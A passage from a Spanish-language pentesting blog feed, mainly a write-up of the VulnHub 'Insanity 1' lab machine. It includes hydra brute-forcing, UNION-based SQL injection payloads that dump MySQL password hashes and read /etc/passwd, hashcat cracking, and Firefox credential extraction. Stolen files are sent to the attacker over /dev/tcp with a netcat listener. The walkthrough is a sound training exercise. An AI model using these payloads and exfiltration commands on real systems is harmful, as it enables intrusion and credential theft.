<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814151814.png" alt="" /></p>]]></content><author><name>pabloVentx</name></author><category term="Active Directory" /><category term="Web-documentation" /><category term="Pentesting" /><category term="SambaRelay" /><category term="Poisoning" /><category term="SOCKS-Proxy" /><category term="SMB-Signing" /><category term="DumpHashes" /><category term="SAMdump" /><summary type="html"><![CDATA[En este Post, enseñare a realizar el ataque de Samba Relay por IPv4 e IPv6, explicando en que consiste el ataque, las diferentes herramientas que se emplean, y a su vez como replicarlo. Todo desde mi laboratorio personal de prácticas de Active Directory ofensivo.]]></summary></entry><entry><title type="html">Insanity 1 - VulnHub</title><link href="https://pabloventx.github.io/vlh-writeup-Insanity-1/" rel="alternate" type="text/html" title="Insanity 1 - VulnHub" /><published>2026-07-18T00:00:00+00:00</published><updated>2026-07-18T00:00:00+00:00</updated><id>https://pabloventx.github.io/vlh-writeup-Insanity%201</id><content type="html" xml:base="https://pabloventx.github.io/vlh-writeup-Insanity-1/"><![CDATA[<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260718135758.png" alt="" /></p>

<h2 id="write-up">WRITE UP</h2>
<p>Ejemplo: 192.168.1.164 (víctima) TTL= 64 LINUX</p>

<h3 id="reconocimiento">RECONOCIMIENTO</h3>

<p>Lo primero que vamos hacer es crear nuestro entorno de trabajo: <span style="color:lightblue">Insanity</span></p>

<p>Dentro usaremos la herramienta de s4vitar <em>mkt</em> cual nos generara las carpetas necesarias para tener todo más organizado; <strong>Nmap…</strong></p>

<p>Para empezar el reconocimiento, enviamos una traza ICMP a la <span style="color:red">IP</span> de la maquina víctima, para comprobar que tenemos conectividad, tenemos dos alternativas:</p>

<p>-Usar el script <em>whichSystem</em> que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whichSystem.py 192.168.1.164
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819025232.png" alt="" /></p>

<p>Usar el comando <em>ping</em>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping 192.168.1.164 <span class="nt">-c</span> 1 <span class="nt">-R</span>
<span class="c"># -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819025357.png" alt="" /></p>

<p>Después de confirmar que tenemos conectividad, usaremos <strong>nmap</strong> para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sS</span> <span class="nt">--min-rate</span> 5000 <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-vvv</span> 192.168.1.164 <span class="nt">-oN</span> allPorts
<span class="c"># Veremos porque el formato grepeable, es importante.</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819025935.png" alt="" /></p>

<p>Una vez hecho, usaremos otra herramienta de s4vitar <em>extractports</em> al archivo allPorts
cual nos copiara los puertos, y escanearlos con nmap.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extractports allPorts
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819030001.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sVC</span> <span class="nt">-p21</span>,22,80 192.168.1.164 <span class="nt">-oN</span> targeted
<span class="c">#  El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor</span>
<span class="c">#  Nos mostrará la versión de los servicios que están corriendo</span>
<span class="c">#  Usará scripts defaults definidos en lua</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819030234.png" alt="" /></p>

<p>Una vez escaneado, usaremos batcat:</p>
<blockquote>
  <p>https://github.com/sharkdp/bat.git</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>batcat targeted <span class="nt">-l</span> java
<span class="c"># Nos mostrara la salida en un formato más bonito, con java</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819030304.png" alt="" /></p>

<h3 id="análisis-ftp-reconocimiento">ANÁLISIS FTP: RECONOCIMIENTO</h3>
<p>De primeras tenemos el puerto 21 por donde corre el ftp, en cuanto a vulnerabilidades por versión respecta a <strong>vsftpd</strong> vemos que es una vieja (<span style="color:yellow">vsftpd 3.0.3</span>) pero que si echamos un vistazo con <em>searchsploit</em> no veremos ningún exploit disponible.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit vsftpd 3.0.2
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819030756.png" alt="" /></p>

<p>En el escaneo de nmap gracias a uno de los scripts nos detecto un login en <span style="color:blue">anonymos</span>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>locate .nse | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"ftp"</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819031526.png" alt="" /></p>

<p>Entonces accederemos en busca de alguna credencial útil, sino tocara seguir explorando otros puertos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp 192.168.1.164

USER: anonymous
PASS: &lt;NO_PASS&gt;
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819031722.png" alt="" /></p>

<p>Vemos un directorio “<span style="color:lightblue">pub</span>” que al intentar listar el contenido nos dice que hay un error con el modo etc… De hecho nmap ya nos avisa de este error. Pasamos al ssh.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819032029.png" alt="" /></p>

<blockquote>
  <p>En modo <strong>binary</strong> tampoco va.</p>
</blockquote>

<p>Tampoco tenemos capacidad para subir archivos:</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819033530.png" alt="" /></p>

<h3 id="análisis-ssh-reconocimiento">ANÁLISIS SSH: RECONOCIMIENTO</h3>
<p>Por el puerto 22 de ssh tenemos corriendo la típica versión de openssh cual nos permite enumerar usuarios.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit openssh 7.4
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819032419.png" alt="" /></p>

<p>De momento nos esperaremos haber si tenemos otras vías visibles para la intrusión a la máquina o alguna credencial válida.</p>

<h3 id="análisis-web-reconocimiento">ANÁLISIS WEB: RECONOCIMIENTO</h3>
<p>Como teníamos un servidor web disponible, uso el script “<code class="language-plaintext highlighter-rouge">http-robots.txt</code>” de <em>nmap</em> para ver si nos detecta algún fichero robots.txt y poder sacar algún tipo de información relevante.</p>

<p>En este caso no nos lo detecta, no quiere decir que no exista.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">--script</span> <span class="s2">"http-robots.txt"</span> <span class="nt">-p80</span> 192.168.1.164
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819032910.png" alt="" /></p>

<p>Con <em>whatweb</em> haremos un reconocimiento por consola a nivel web para saber con que tecnologías, lenguaje, etc… vamos a tratar.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb http://192.168.1.164/
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819032704.png" alt="" /></p>

<blockquote>
  <p>Vemos que el servidor de apache esta alojado en la distribución de Linux llamada <em>CentOS</em>.</p>
</blockquote>

<p>Aparentemente vemos que trata de una empresa dedicada al alojamiento en la nube. Arriba tenemos un email cual tenemos en cuenta el dominio por si en un futuro tenemos que enumerar subdominios: <em>insanityhosting.vm</em></p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819033649.png" alt="" /></p>

<p>Abajo del todo como en las pestañas de la imagen anterior, también se ve que la empresa ofrece un servicio de Monitorio para nuestro servidor a tiempo real y con avisos a nuestro correo. Le damos a empezar.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819034253.png" alt="" /></p>

<p>Nos llevará al panel de login del Monitor. Desconocemos las credenciales por lo que no podemos hacer nada.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819034532.png" alt="" /></p>

<p>Con <span style="color:lightyellow">Wappalyzer</span> podemos ver las tecnologías de una forma más visual, es igual que <em>whatweb</em>.
Como teníamos de lenguaje PHP y suele ser vulnerable a SQLi probaremos a nivel de login.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819035133.png" alt="" /></p>

<p>Podemos probar diferentes combinaciones como con inyecciones SQL o credenciales típicas de Administrador pero no dejará, tampoco saldrá ningún error que nos guíe que falla.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819034820.png" alt="" /></p>

<blockquote>
  <p>En el código fuente no hay nada del login.</p>
</blockquote>

<p>En la página anterior tampoco. Lo único relevante dos directorios en la raíz con fotos.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819035522.png" alt="" /></p>

<h3 id="fuzzing-a-directorios-nivel-web">FUZZING A DIRECTORIOS NIVEL WEB</h3>
<p>Con la herramienta <em>gobuster</em> haremos Fuzzing para descubrir directorios a nivel web potenciales para encontrar algo de información.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://192.168.1.164/ <span class="nt">-w</span> /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list.2.3.medium.txt <span class="nt">--no-error</span> <span class="nt">-x</span> .txt .php .xml .html .htm <span class="nt">-t</span> 50
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819042428.png" alt="" /></p>

<p>Vemos 3 directorios nuevos importantes: <span style="color:lightblue">phpmyadmin</span>, <span style="color:lightblue">news</span>  y <span style="color:lightblue">webmail</span>.</p>

<h3 id="phpmyadmin">phpMyAdmin</h3>
<p>El primero trata de <strong>phpMyAdmin</strong>:</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819042937.png" alt="" /></p>

<p>Dentro, unos llevare a su panel sesión cual desconocemos las credenciales.
Hay versiones en las cuales con poner <code class="language-plaintext highlighter-rouge">root</code> o <code class="language-plaintext highlighter-rouge">root:root</code> nos deja acceder.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819042845.png" alt="" /></p>

<p>En este caso no.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819043107.png" alt="" /></p>

<h3 id="news-blog-virtual-hosting">News Blog: VIRTUAL HOSTING</h3>
<p>El segundo directorio trata de un portal de blog sobre noticias del la empresa. Pero no se esta aplicando <em>Virtual hosting</em> por ello no vemos los elementos a nivel web.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819043332.png" alt="" /></p>

<p>Nos iremos al código fuente del portal (“<strong>CTRL + U</strong>”).
Aquí veremos que los recursos apuntan a un subdominio llamado: <mark style="background: #FFF3A3A6;">www.insanityhosting.vm</mark></p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819043717.png" alt="" /></p>

<p>Lo agregaremos a nuestro fichero <span style="color:lightblue">/etc/</span><strong>hosts</strong> para que nuestro sistema asocie la IP a dicho dominio y poder leer los recursos que interpreta el servidor, de paso metemos el dominio del principio por si acaso nos hace falta:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>192.168.1.164 www.insanityhosting.vm insanityhosting.vm
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819044013.png" alt="" /></p>

<p>Al entrar ya veremos que se cargan todos los elementos, permitiéndonos visualizar el portal de noticias.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819044241.png" alt="" /></p>

<blockquote>
  <p>Nos habla de un usuario llamado <span style="color:blue">Otis</span> que ha dirigido al equipo y que le permiten el acceso a su Monitor de servicio que vimos al principio.</p>
</blockquote>

<h3 id="squirrelmail">SquirrelMail</h3>
<p>Este tercero como su nombre indica es un servicio que te deja ver y usar tu correo electrónico directo en un navegador de internet sin necesidad de instalar ningún software ni nada por el estilo. Nos  llevará a un Panel de sesión de <em>SquirrelMail</em>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819041347.png" alt="" /></p>

<p>Una búsqueda rápida en Google y nos dice que este servicio esta inactivo desde 2011 y no se ha vuelto a actualizar.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819041429.png" alt="" /></p>

<p>Podemos probar a inyecciones SQL pero no es vulnerable.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819041256.png" alt="" /></p>

<p>Al fallar las credenciales esta vez si nos sale error.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819041323.png" alt="" /></p>

<h3 id="fuerza-bruta-a-nivel-web-hydra">FUERZA BRUTA A NIVEL WEB: HYDRA</h3>
<p>Si recordamos al principio, teníamos un servicio para Monitorear nuestros servidores a nivel de conectividad. Y decía que nos avisaba a nuestro correo sobre el estado del mismo.</p>

<p>Como teníamos un usuario potencial llamado <span style="color:blue">Otis</span> que tiene acceso al servicio de Monitoreo, lo usaremos para hacer fuerza bruta con <em>hydra</em> al panel de webmail ya que ahí tenemos el error de login.</p>

<p>Otra forma para ver el error es ir al código fuente, de la página del error:</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819045539.png" alt="" /></p>

<p>Como los requisitos para hacer fuerza bruta al puerto http es tener los campos de formulario y demás, capturaremos la petición con <em>Burp Suite</em>. Activamos el Proxy con la extensión <span style="color:lightyellow">FoxyProxy</span>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819115915.png" alt="" /></p>

<p>Dentro de este, nos iremos a “<strong>Proxy</strong> &gt; <strong>Intercept on</strong>”.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819120023.png" alt="" /></p>

<p>Nos iremos al Panel de sesión y introduciremos unas credenciales cualquiera, y al volver al Burp Suite habremos capturado la petición.</p>

<p>Nos quedamos con los campos de formulario y demás.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819120112.png" alt="" /></p>

<p>Otra forma sería ver como viaja la petición a través de la web. Para ello apretamos “<strong>CTRL + ALT +I</strong>” y nos vamos a la pestaña “<em>Network</em>”.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819122250.png" alt="" /></p>

<p>Una vez enviado recibiremos esta petición por <em>POST</em> cual contendrá los campos.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819122353.png" alt="" /></p>

<p>Quedándonos la siguiente sintaxis de <strong>hydra</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hydra <span class="nt">-l</span> otis <span class="nt">-P</span> /usr/share/wordlists/rockyou.txt <span class="nt">-v</span> 192.168.1.164 http-post-form <span class="s2">"/webmail/src/redirect.php:login_username=otis&amp;secretkey=^PASS^&amp;js_autodetect_results=1&amp;just_logged_in=1:Unknown user or password incorrect."</span>
</code></pre></div></div>

<blockquote>
  <p>Nos encontrara las siguientes credenciales: <span style="color:blue">otis</span>:<span style="color:darkred">123456</span></p>
</blockquote>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819122046.png" alt="" /></p>

<h3 id="acceso-web-squirremail">ACCESO WEB: SQUIRREMAIL</h3>
<p>Con las credenciales probamos a acceder al servicio de e-mail.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819124006.png" alt="" /></p>

<p>Nos deja.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819124902.png" alt="" /></p>

<h3 id="acceso-web-servicio-de-monitoreo">ACCESO WEB: SERVICIO DE MONITOREO</h3>
<p>Con las credenciales probamos a acceder al servicio de Monitoreo web.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819124918.png" alt="" /></p>

<p>Nos deja.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819125045.png" alt="" /></p>

<h5 id="acceso-web-phpmyadmin">ACCESO WEB: phpMyAdmin</h5>
<p>Como dijimos antes hay versiones en las cuales si un usuario es válido no solicita la contraseña, así que probamos.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819134828.png" alt="" /></p>

<p>Nos deja acceder, pero no podremos hacer nada. Sin embargo, como esta MySQL por detrás quizás sea vulnerable a <em>SQLI</em>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819135030.png" alt="" /></p>

<h3 id="como-funciona-monitor--email">¿COMO FUNCIONA: Monitor + Email?</h3>
<p>Vamos a hacer una prueba para entender como funciona. Añadiremos un servidor fake cual nos inventaremos la IP (Ponemos lo que sea).</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819142819.png" alt="" /></p>

<p>En la lista de “Sever Status” se ve que el Status es <strong>Down</strong>. Entonces nos debe llegar al email una notificación sobre que nuestro servidor esta caido.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819142923.png" alt="" /></p>

<p>Si esperamos, efectivamente nos llega a nuestro webmail, en el correo le damos a “<span style="color:blue">WARNING</span>” para leerlo.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819142959.png" alt="" /></p>

<p>Nos dice que el servidor “Test” esta caído. Abajo del mismo, hay 4 tablas (huecos) correspondiente 1 base de datos, con los datos de nuestro servidor.</p>

<blockquote>
  <p>Las mismas tablas que vemos en el servicio de Monitoreo.</p>
</blockquote>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819143102.png" alt="" /></p>

<h3 id="probar-conectividad-ping-icmp">PROBAR CONECTIVIDAD: PING (ICMP)</h3>
<p>Como el servicio de monitoreo comprueba la conectividad de nuestros servidores pues lo más posible esque use el protocolo ICMP mediante el comando <em>Ping</em>. Para comprobarlo usaremos <em>tcpdump</em> para ponernos a la escucha de trazas ICMP que nos lleguen a nuestro kali, mediante la IP.</p>

<p>Añadimos la IP de nuestro kali en el Monitor.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819125227.png" alt="" /></p>

<p>De forma paralela nos ponemos a la escucha:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>tcpdump <span class="nt">-l</span> <span class="nt">-i</span> eth0 icmp <span class="nt">-n</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819125445.png" alt="" /></p>

<p>Tras esperar un rato veremos que recibimos una traza ICMP del servidor víctima a nivel sistema y que nosotros le respondemos con otra.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819125538.png" alt="" /></p>

<h3 id="otras-posibles-inyecciones">OTRAS POSIBLES INYECCIONES</h3>
<p>En la IP podemos probar <code class="language-plaintext highlighter-rouge">IP;comando</code> que queremos interpretar.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819140829.png" alt="" /></p>

<p>Nos dice que el servidor esta caído, así que vamos a ver la salida del correo.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819141041.png" alt="" /></p>

<p>Nada interesante.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819141143.png" alt="" /></p>

<h3 id="vulnerabilidad-web-sqli-structured-query-language---probar-si-es-vulnerable">VULNERABILIDAD WEB: SQLi (Structured Query Language) - PROBAR SI ES VULNERABLE</h3>
<p>Para empezar a probar las inyecciones SQL tendremos en cuenta el <code class="language-plaintext highlighter-rouge">""</code> ya que en la columna de <strong>Date Time</strong> aparece así, y alomejor entre <code class="language-plaintext highlighter-rouge">''</code> no le gusta.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Test<span class="s2">" OR 1=1-- -      
</span></code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819144730.png" alt="" /></p>

<p>Vemos que en la salida del correo, es muy larga, y en donde la tabla “<strong>Host</strong>” nos ha listado la de todos los servidores, en este caso la mía y la del propio servidor víctima (Localhost).</p>

<p>Esto quiere decir que es vulnerable a <strong>SQLi</strong>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819144807.png" alt="" /></p>

<p>Como no podemos borrar o modificar los servidores actuales de la lista de “Servers Status” en el Monitor cuales les hemo metido inyecciones, vamos ahorrarnos ciertas cosas y vamos a ir al grano.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819210642.png" alt="" /></p>

<h3 id="listar-bases-de-datos-activas">LISTAR BASES DE DATOS ACTIVAS</h3>
<p>Listaremos todas las bases de datos activas en el hueco (4).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">" UNION SELECT 1,2,3,SCHEMA_NAME FROM information_schema.SCHEMATA -- -
</span></code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819210239.png" alt="" /></p>

<p>Veremos las siguientes bases de datos activas:</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819210350.png" alt="" /></p>

<h3 id="listar-todas-las-tablas-de-la-db-mysql">LISTAR TODAS LAS TABLAS DE LA DB: mysql</h3>
<p>Como seguramente haya cualquier tipo de credencial en la base de datos <strong>mysql</strong>, listaremos sus tablas.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">" UNION SELECT 1,2,3,table_name FROM information_schema.tables WHERE table_schema="</span>mysql<span class="s2">" -- -
</span></code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819211801.png" alt="" /></p>

<p>De las tablas enumeradas, nos quedaremos con <em>user</em>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819212034.png" alt="" /></p>

<h3 id="listar-todas-las-columnas-de-la-tabla-user">LISTAR TODAS LAS COLUMNAS DE LA TABLA: user</h3>
<p>Ahora listaremos las columnas de dicha tabla en cuanto a nivel enumeración respecta.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">" UNION SELECT 1,2,3,column_name FROM information_schema.columns WHERE table_name="</span>user<span class="s2">" -- -
</span></code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819211847.png" alt="" /></p>

<p>Nos quedaremos con las columnas: <strong>User</strong>, <strong>Password</strong> y <strong>authentication_String</strong>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819211942.png" alt="" /></p>

<h3 id="concatenar-columnas-específicas-de-la-tabla-mysqluser">CONCATENAR COLUMNAS ESPECÍFICAS DE LA TABLA: mysql.user</h3>
<p>Es importante el authentication_string, porque al enumerar puede que no enumere nada de la columna <strong>Password</strong>.</p>

<blockquote>
  <p>Más información al respecto: https://stackoverflow.com/questions/30692812/mysql-user-db-does-not-have-password-columns-installing-mysql-on-osx</p>
</blockquote>

<p>Para mostrar el contenido de las columnas, lo que hare será concatenar las columnas que quiera ver con <code class="language-plaintext highlighter-rouge">:</code> codeado a hexadecimal para separarlas.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">" UNION SELECT 1, 2, 3, CONCAT(User, 0x3a, Password, 0x3a, authentication_string) FROM mysql.user -- -
</span></code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819212433.png" alt="" /></p>

<p>En la salida del correo vemos a dos usuarios: <span style="color:blue">root</span> y <span style="color:blue">elliot</span> con sus respectivos hashes a nivel de MySQL.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819212357.png" alt="" /></p>

<h3 id="leer-archivos-arbitrariosinternos-a-nivel-sistema">LEER ARCHIVOS ARBITRARIOS/INTERNOS A NIVEL SISTEMA</h3>
<p>Una de las cosas que podemos hacer es leer archivos a nivel sistema. Si tenemos permisos podremos incluso leer archivos arbitrarios. Intentaremos leer <span style="color:lightblue">/etc/</span><strong>passwd</strong>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">" UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4 as result -- -
</span></code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260819213433.png" alt="" /></p>

<p>Nos ha dejado visualizarlo, pudiendo listar los siguientes usuarios: <span style="color:blue">root</span>, <span style="color:blue">elliot</span>, <span style="color:blue">admin</span>, <span style="color:blue">nicholas</span> y <span style="color:blue">monitor</span> a nivel sistema.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820001629.png" alt="" /></p>

<h3 id="crack-password">CRACK PASSWORD</h3>
<p>Como tenemos dos hashes a crackear en formato MySQL, usaremos <em>hashcat</em>.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820002700.png" alt="" /></p>

<p>Crackearemos la del usuario <span style="color:blue">elliot</span>:</p>

<blockquote>
  <p>Página para ver los tipos de hashes y su respectivo decimal: https://hashcat.net/wiki/doku.php?id=example_hashes</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Especicamos el modo de MySql [300]</span>
hashcat <span class="nt">-m</span> 300 <span class="nt">-a</span> 0 hash2_elliot /usr/share/wordlists/rockyou.txt

<span class="c"># Mostramos el resultado [Yo ya lo habia crackeado]</span>
hashcat <span class="nt">--show</span> <span class="nt">-m</span> 300 hash2_elliot

PASS -&gt; elliot123
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820002948.png" alt="" /></p>

<p>Si intentamos crakear la de root, ninguna contraseña del diccionario será válida <strong>(Exhausted)</strong>:</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820003317.png" alt="" /></p>

<h3 id="acceso-a-ssh">ACCESO A SSH</h3>
<p>Como tenemos credenciales potenciales, probaremos a entrar por ssh.
Dejándonos exitosamente.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Entrar en el servidor de ssh</span>
ssh elliot@192.168.1.166

USER: elliot
PASS: elliot123

<span class="c"># Tratamiento de la TTY</span>
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820004052.png" alt="" /></p>

<h3 id="escalada-de-privilegios">ESCALADA DE PRIVILEGIOS</h3>
<p>A simple vista se ve un directorio oculto en el directorio personal de Elliot, lo cual es la del navegador <strong>Mozilla Firefox</strong>. Siguiendo la ruta habitual del navegador, llegamos a la carpeta de su perfil (<code class="language-plaintext highlighter-rouge">esmhp32w.default-default</code>), donde se almacenan datos cifrados que no son legibles a simple vista.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820005707.png" alt="" /></p>

<p>Usaremos la herramienta <em>Firepwd</em> para extraer en texto plano la contraseña almacenada en este perfil.</p>

<p>Necesitaremos los archivos: <em>key4.db</em> y <em>logins.json</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 firepwd.py
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820011242.png" alt="" /></p>

<h3 id="tranferencia-de-contenido-de-archivos">TRANFERENCIA DE CONTENIDO DE ARCHIVOS</h3>
<p>Como necesitamos que la herramienta apunte a estos dos archivos, nos las traeremos hacia nuestra máquina de atacante mediante la técnica <em>dev tcp transfer listener</em>.</p>

<p>Par ello nos pondremos a la escucha por el puerto <span style="color:purple">443</span>, y el contneido que recibamos a nuestra conexión, lo guardo en un archivo llamado <em>key4.db</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nlvp</span> 443 <span class="o">&gt;</span> key4.db
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820013037.png" alt="" /></p>

<p>De forma paralela en el servidor de ssh víctima, leo el contenido de key4.db y la salida lo mando a mi host por el puerto 443, que cual recibirá el netcat.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> &lt; key4.db <span class="o">&gt;</span> /dev/tcp/192.168.1.165/443
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820013108.png" alt="" /></p>

<p>Nos dice que hemos tenido una conexión a la máquina víctima, dejándonos el contenido del key4.db original en el nuestro.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820013214.png" alt="" /></p>

<p>Hacemos lo mismo pero con el archivo <em>logins.json</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nlvp</span> 443 <span class="o">&gt;</span> logins.json
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820013235.png" alt="" /></p>

<p>Nos pasamos el contenido a nuestra conexión por el puerto 443.</p>

